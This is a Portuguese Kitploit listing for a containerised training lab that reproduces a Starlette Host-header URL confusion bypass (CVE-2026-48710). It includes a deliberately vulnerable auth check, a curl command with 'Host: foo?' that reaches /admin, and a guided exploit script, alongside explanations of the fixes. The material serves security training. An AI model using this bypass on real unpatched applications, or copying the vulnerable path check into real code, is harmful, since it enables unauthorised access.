Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
starlette-host-header-lab — Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710 | Kitploit
Ferramentas/GitHubGitHub/xtremebeing/starlette-host-header-lab
Análise de VulnerabilidadesSegurança WebAutenticaçãoConfiguração IncorretaAprendizado e EducaçãoLabs e Prática
GitHubxtremebeing/starlette-host-header-lab

starlette-host-header-lab

Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
1há 2 mesesAinda não revisado

Laboratório de Confusão de URL de Cabeçalho Host do Starlette (X41-2026-002)

Um laboratório de treinamento auto-contido e containerizado que reproduz a vulnerabilidade de bypass de autenticação do Starlette divulgada pela X41 D-Sec.

  • Advertência: X41-2026-002
  • GHSA: GHSA-86qp-5c8j-p5mr
  • CWE: 436 — Conflito de Interpretação / Entrada Não Confiável em Chamada de Função
  • CVSS: 7,0 (Alto)
  • Afetado: Starlette >= 0.8.3, < 1.0.1 (laboratório fixa em 0.37.2)
  • Corrigido em: Starlette 1.0.1

⚠️ Apenas para treinamento de segurança autorizado. Este aplicativo é deliberadamente vulnerável. Não o implante em nenhuma rede acessível.


A vulnerabilidade em um parágrafo

O Starlette despacha uma requisição para uma rota usando o scope["path"] bruto do ASGI, mas reconstrói a request.url formatando o cabeçalho Host fornecido pelo cliente em "{scheme}://{host}{path}" — sem validar o cabeçalho Host conforme RFC 9112 §3.2. Como metacaracteres de URL (?, /, #) são permitidos diretamente, um atacante pode fazer o caminho reconstruído diferir do caminho roteado. Qualquer verificação de segurança escrita contra request.url.path pode ser enganada enquanto o roteador ainda alcança o manipulador protegido.

Por que o PoC funciona

O middleware vulnerável permite a requisição apenas quando request.url.path é / ou vazio:

root@kitploit:~
if request.url.path in ("/", ""):
    return await call_next(request)   # permitido
return PlainTextResponse("Forbidden", status_code=403)

Envie Host: foo? contra GET /admin:

ComponenteValor usado
Roteador (scope["path"])

O ? transforma tudo depois dele em string de consulta, então o caminho analisado é vazio. A autenticação vê um caminho vazio e libera; o roteador ainda serve /admin. Bypass alcançado.


Executando o laboratório

Requer Docker + Docker Compose.

root@kitploit:~
docker compose up --build

Dois serviços iniciam:

ServiçoURLComportamento
vulnerablehttp://localhost:8000bypassável
fixedhttp://localhost:8001mitigado (duas formas)

Explorar

root@kitploit:~
# Bloqueado normalmente:
curl -i http://localhost:8000/admin                 # 403 Forbidden

# Bypass via injeção de cabeçalho Host:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}

Ou execute o script PoC guiado:

root@kitploit:~
./exploit/exploit.sh        # ataca :8000 (sucesso)
./exploit/exploit.sh 8001   # ataca :8001 (falha — corrigido)

O manipulador vulnerável /admin retorna um corpo JSON que torna a confusão visível — note como scope_path e reconstructed_path discordam:

root@kitploit:~
{
  "secret": "FLAG{host_header_url_confusion}",
  "scope_path": "/admin",
  "reconstructed_url": "http://foo?/admin",
  "reconstructed_path": "",
  "host_header": "foo?"
}

Como está corrigido

Veja fixed/fixed_app.py. Duas mitigações independentes:

  1. Use o valor autoritativo. Tome a decisão de autenticação com base em request.scope["path"] — o mesmo caminho bruto que o roteador usa — em vez do reconstruído request.url.path.
  2. Defesa em profundidade. O TrustedHostMiddleware rejeita cabeçalhos Host inesperados/malformados antes de qualquer lógica de aplicação ser executada, espelhando o que um proxy reverso compatível com RFC (nginx/Apache) faz a montante.

A correção no mundo real é simplesmente atualizar para Starlette ≥ 1.0.1, que valida o cabeçalho Host durante a reconstrução da URL.


Perguntas para discussão com engenheiros

  1. Onde mais em uma pilha típica um valor é reconstruído a partir de entrada não confiável e depois confiado? (Dica: listas de permissão SSRF, OAuth redirect_uri, chaves de cache, links de redefinição de senha construídos a partir de Host.)
  2. Por que "bloquear o caminho ruim" (/admin) é mais frágil aqui do que "decidir com base no endpoint roteado"? E se o roteamento não diferenciar maiúsculas de minúsculas ou tiver redirecionamentos com barra final?
  3. Isso é CWE-436 (conflito de interpretação). Que outros bugs famosos compartilham essa forma? (Smuggling de requisição HTTP, bypass de autenticação por normalização Unicode, o dia 0.0.0.0.)

Arquivos

root@kitploit:~
starlette-host-header-lab/
├── app/vulnerable_app.py   # serviço deliberadamente vulnerável
├── fixed/fixed_app.py      # serviço mitigado para comparação
├── exploit/exploit.sh      # prova de conceito guiada
├── requirements.txt        # fixa Starlette 0.37.2 (vulnerável)
├── Dockerfile
├── docker-compose.yml
└── README.md
Baixar ferramenta
/admin → despacha admin()
request.urlhttp://foo?/admin
request.url.path"" → passa na verificação de autenticação ✅